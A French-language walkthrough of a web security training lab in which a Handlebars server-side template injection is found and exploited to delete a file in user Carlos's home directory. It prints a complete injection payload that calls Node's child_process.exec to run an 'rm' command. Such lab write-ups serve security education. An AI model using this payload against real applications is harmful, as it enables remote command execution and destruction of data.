Objectif :
Supprimer le fichier morale.txt se situant dans le répertoire home de l'utilisateur Carlos.
Solution :
On lance le lab et on se trouve sur un site de commerce :
Plusieurs articles sont affichés :
On essaye d'accéder au détail du premier article et le serveur nous renvoie un message nous informant que ce produit est indisponible :
À présent, on va inspecter la requête envoyée au serveur lorsqu'on clique sur le bouton pour voir les détails du premier produit : C'est une requête GET avec comme paramètre le message affiché :
On va maintenant essayer de voir si le serveur est vulnérable à une injection de template. On va insérer {{7*7}} dans le paramètre pour observer comment il nous répond. Il nous renvoie une erreur :
Cette erreur nous informe de l'utilisation du moteur de template Handlebars.
En cherchant sur internet, on trouve que l'on peut exécuter du code à partir de la syntaxe liée à la template pour Handlebars avec le payload suivant :
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
On injecte ce payload dans le paramètre GET de la requête et le serveur nous répond sans erreur :
Le lab se valide. La commande s'est donc bien exécutée.